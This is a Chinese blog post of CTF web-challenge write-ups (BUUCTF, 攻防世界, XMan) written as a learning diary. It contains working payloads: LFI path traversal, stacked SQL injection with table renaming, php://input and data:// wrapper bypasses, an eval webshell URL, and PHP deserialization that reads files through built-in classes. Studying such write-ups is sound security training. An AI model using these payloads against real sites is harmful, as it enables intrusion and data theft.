web学习之刷题

从一些web题来了解一下web相关知识。

BUUCTF

WarmUp

从注释中看到source.php,尝试访问,获取源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

在源代码中又看到了hint.php,自然的又去访问看看。提示flag在ffffllllaaaagggg文件中,可怎么到达呢。

image-20210415134759029

然后就是细分析源代码:

先查一下代码中出现但不熟悉的函数:

in_array(search, array, type)

  • 搜索array中是否存在search字符串。如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string

  • 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。

mb_strpos (haystack , needle )

  • haystack:要被检查的字符串;needle:要搜索的字符串。查找字符串needle在字符串haystack中首次出现的位置。

之后分析源代码,先检查了输入的file参数,如果不为空,是字符串,且通过了checkFile函数检查,则将我们输入的file参数进行文件包含。从hint.php知道了flag文件名字,这里又有include,其实就可以往文件包含漏洞考虑了,将我们的flag文件包含到网页中。

从checkFile函数中分析知道,要返回True的话,我们请求的参数字符串里必须带有白名单的中的字符串[‘source.php’, ‘hint.php’]中一个,第一次是直接比较,第二次取?之前的字符串进行比较,第三次将其进行一次urldecode后再取?之前的字符串进行比较。要利用这个漏洞来包含flag文件的话,显然不是走一个判断了。

初接触web,不懂的很多,然后就是去看wp学习了。

首先看到大家的做法有2种:

1.直接走第二个判断,开始输入一个白名单中的字符串,然后拼接一个要相对路径到达flag文件。

1
?file=hint.php?/../../../../ffffllllaaaagggg

2.走第三个判断,同第一个输入,但对hint.php后的问号二次urlencode,因为浏览器获取到我们输入的参数后会自动进行一次urldecode。

1
?file=hint.php%253f/../../../../ffffllllaaaagggg

这两种写法的区别就在于是否对问号进行urlencode。但这是为什么呢,这其实是windows与linux环境不同导致的。

这个题来自于ChaMd5安全团队2018发现的phpmyadmin4.8.1后台getshell的LFI,当时发现这个漏洞的环境是windows,而这个题目的环境是linux。

在windows中,?是一个保留字符,文件名不能包含问号,如果我们的路径包含了?,这将被视为一个无效的路径,所以要利用urlencode对问号进行二次编码,避免在最后的包含路径中出现?号,而又在第三次比较时经过解码后进行比较的是问号。

image-20210415172253830

而在linux中,一个文件名中是可以有问号的。

这个题用include包含时,也是把第一个/之前的内容看做个文件目录了。即hint.php?看成一个目录。

所以本题要是在windows环境下的话,就必须通过第三个判断,进行二次urlencode才能打通。

最后,这个include,可以这样无线包含下去吗。。

image-20210415172913575

[极客大挑战 2019]EasySQL

从题目名字可以看出考点是sql注入。

首先测试看一下sql注入类型和引号闭合类型:
输入用户名:1’,密码:222,从报错看出单引号闭合。

image-20210413221249767

闭合引号,构造永真尝试登陆:

image-20210413221429789

登录成功,直接看到flag。

[强网杯 2019]随便注

首先,还是按照之前做过的一个sql注入学到的,测试一下是否有注入与引号闭合类型。

可以知道是单引号闭合:
image-20210409230543339

测试一下数据库与前端显示的通道:发现对相关查询指令的大小写都进行了过滤。

image-20210409230808679

为了多收集信息,接下来再尝试使用order by 来获得列数,在以第一列与第二列排序时正常输出,但第三列报错,说明有2列。

image-20210413183501418

然后继续尝试报错注入收集信息,有updatexmlextractvalue,由上面知道,这里过滤了update,所以使用extractvalue:

image-20210413191438306

这时候即时得到了上面的信息,但又怎么利用呢。。

堆叠注入,一次执行多条由 ; 分隔的指令。

查询当前正在使用过的数据库的表:
image-20210413191836676

2个表,继续查询一下他们的字段,看到flag字段:
image-20210413192003223

问题又来了,不能使用select语句,那这里如何查询字段的值呢。。

第一个方法:使用mysql查询语句-handler

首先打开一个句柄:

1
handler handler_table open;

查看表数据:

1
2
handler handler_table read first;
handler handler_table read next;

image-20210413193146361

第二种方法:因为没有禁用rename与alert,所以可以修改表结构。

因为有一个默认表words,我们输入的inject参数也是传入其中进行查询,所以我们将存放flag的表改为words,并修改flag字段为id字段或者加入id字段,最后通过万能密码查询默认的表就得到flag了。

1
alter table words rename to words1;alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);%23

最后这个题,出现这个漏洞的原因是使用了multi_query()执行一条或多条sql语句。

[极客大挑战 2019]Havefun

从注释中的提示可以看到,通过get方式获取参数cat,并比较了cat参数值是不是字符串dog:

image-20210415130344338

好突然,直接传入对应的参数,得到flag。。

image-20210415130430173

[SUCTF 2019]EasySQL

看wp后复现的(。。

就一个输入框,还是先尝试了一下之前的方法,输入1’是否报错,报错类型,或者看输入1与1+1的结果是否相等,但这里都无果。但是发现回显只有3种,1.什么也没有;2.Nonono.; 3.Array ( [0] => 1 )。

且可以发现,当输入为0,没有显示,纯字符串也没有显示,字符串开头加数字也是没有显示,这其实就可以总结为输入0,没有回显,因为php种,纯字符串或者字符串开头加数字都是会转化为0。

然后当输入数字时,就会有Array ( [0] => 1 )这样的回显,且都是1,是dump_var显示的。。

从以上可以猜测查询语句中有 || 号,这输出结果只有0或1。

一,官方题解:

1
2
1;set sql_mode=PIPES_AS_CONCAT;select 1
构造成select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM Flag,其中PIPES_AS_CONCAT能将 || 视为字符串连接符而非或运算符。这种模式下使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1select flag from flag 的结果拼接在一起。

二,非预期解:

因为没有过滤*,所以可以通过:

1
*,1

即查询表中所有字段后再查询一个0或1。

贴一下用预期解查询的结果:

image-20210415202556117

[ACTF2020 新生赛]Include

攻防世界

baby_web

从提示初始页面,想到index.php。

访问index.php发现又跳到1.php页面了,但可以看到index.php,从响应头中看到flag,只是状态码为302。

image-20210312231932538

对于状态码302,可以简单理解为该资源原本存在,但被临时改变了位置。一般被替换了位置后,我们再访问的时候就会自动重定向到一个设置好的网页,且改被设置好的网页在响应头的Location又给出,如上图。

Training-WWW-Robots

考了一个robots.txt的协议,首先读了一下题目提供的关于这个的英文文档,总结一下是:在遵循这个协议的搜索引擎访问一个网站时,首先要做的就是访问该网站下的robots.txt文件,若没有的话则表示可以访问该网站下的所有内容,若发现的话,就读取这个文件,并遵守这个文件中的协议指令只访问被允许访问的内容。

举一个例子:

禁止所有搜索引擎访问本网站的所有内容:
User-agent: *

Disallow: /

所以说这个文件限制了不被允许访问的文件路径,这其实也就间接泄露了这个网站的文件目录结构。

访问robots.txt得到:
image-20210313101940154

访问fl0g.php得到flag。

php_rce

我不知道这个版本的php有这个漏洞,也没有意识去github搜相关版本看是否有相关漏洞。

这里直接看了wp,知道有一个远程命令执行漏洞,网上利用方式也是很多,目前也不会自己写利用,

直接使用现成的打了一下。

image-20210313104841755

Web_php_include

首先记一下2个包含的区别:

  • require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
  • include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

文件包含漏洞。

image-20210313152324318

使用了strstr函数匹配“php://”字符串进行过滤。

php://input

将要传递的输入的内容直接以post方式提交即可

要做的就是绕过上面的字符串过滤,可以使用strstr()函数匹配大小写的特性。

简单使用Php://input即可,然后发现我火狐里用的这个HackBar在Post data里输入数据时不带键值形式,就会无效,相当于没有输入。

image-20210808171708669

所以使用burpsuit抓包修改,添加post data,首先使用ls命令获取当前目录下的文件。

image-20210808172429835

然后cat flag

image-20210313152604534

接下来是看wp学习。

这个题还可以使用data://伪协议。

使用方法:data://text/plain;base64,base64编码后的数据(也就是我们要执行的命令)

或者:data://text/plain,传递的数据

image-20210313153729207

另外还有可以传入一句话木马。

1
http://111.200.241.244:53435/?page=data://text/plain,%3C?php%20@eval($_POST[root]);%20?%3E

image-20210313155834858

第五届XMan选拔

签到

输入2个变量即可。

image-20210808173824918

easyphp

从这个题简单的去了解了一下php中反序列化。

题目使用highlight_file(__FILE__); 显示出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "Hel";
$this->para = "xctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('what?Really?');
}

}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['xctf'])){
unserialize($_GET['xctf']);
}
else{
$a=new XMAN;

} Hello bro, I guess you are a lazy xctfer

在此前的了解中,对反序列化只知道2个函数unserialize和serialize,及unserialize函数进行反序列前,若代码中有__wakeup魔法函数,则会先执行__wakeup函数;相似的,serialize会先执行__sleep函数,进行对象的清理。当然,也知道序列化的过程是将代码中的对象或数组等变成二进制字节流的形式(其中对象不会序列化方法),方便存储起来与网络中的传输。而对于反序列化的作用只知道是还原,但还原了做什么呢,还原了怎么使用的呢,也正是这个不清楚,我开始看这个题好多疑问😂,如,为什么我随便传入一个序列化字符串去反序列化后报错呢,且调试发现根本就不执行那个魔法函数,就好像传入什么,都没有反馈。

而后,我去随便找了一篇讲php反序列化的文章看了看,一切就明朗了。

反序列化的核心是对我们之前通过序列化保存的对象进行重建,而对象的方法是不会进行序列化的,所以我们在反序列化之前,代码中要有反序列化对象的类已经定义。(反序列化时不会调用该类的构造函数!!!)

所以反序列化,我的理解是在程序中恢复序列化之前的对象,而参数值我们是可以自己构造的。这也有出现了漏洞点(用户的输入。

另外在PHP5<5.6.25,PHP7<7.0.10,有一个CVE-2016-7124:

当进行反序列化的字符串中标记的属性个数大于该对象的实际属性个数时,魔法函数__wakeup就不会执行了。这个一些题目要绕过__wakeup函数执行的方法。

而再来看这个题,我们发现唯一能利用的只有一个__wakeup函数,它的主要作用就是对一个类传入参数进行实例化。其中并没有可以执行命令或者读文件的地方,但这个类名和传递的参数是可以我们自己决定的。

这里是去问了web的朋友,我们可以自己决定类名和参数去实例化一个类,那这个题其实就是考我们去找php中能读文件的原生类来利用,其中去执行构造函数。

利用SLP类中的类读文件:

解释
FilesystemIterator找目录
SplFileObject读文件

首先使用FilesystemIterator来查看目录情况:

复制题目中的XMAN类自己修改为指定的类和参数后new一个对象,打印出来。

1
2
3
4
5
6
7
8
9
<?php
class XMAN{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$ans = new XMAN();
echo serialize($ans);
?>

得到:O:4:”XMAN”:3:{s:5:”class”;s:18:”FilesystemIterator”;s:4:”para”;s:13:”/var/www/html”;s:5:”check”;N;}

image-20210808184159850

同上,在/var/www/html/xxxXXXmMManNNn下继续找:

image-20210808184259568

最后使用SplFileObject类来读f1a4文件:

image-20210808184410606

-------------本文结束感谢您的阅读-------------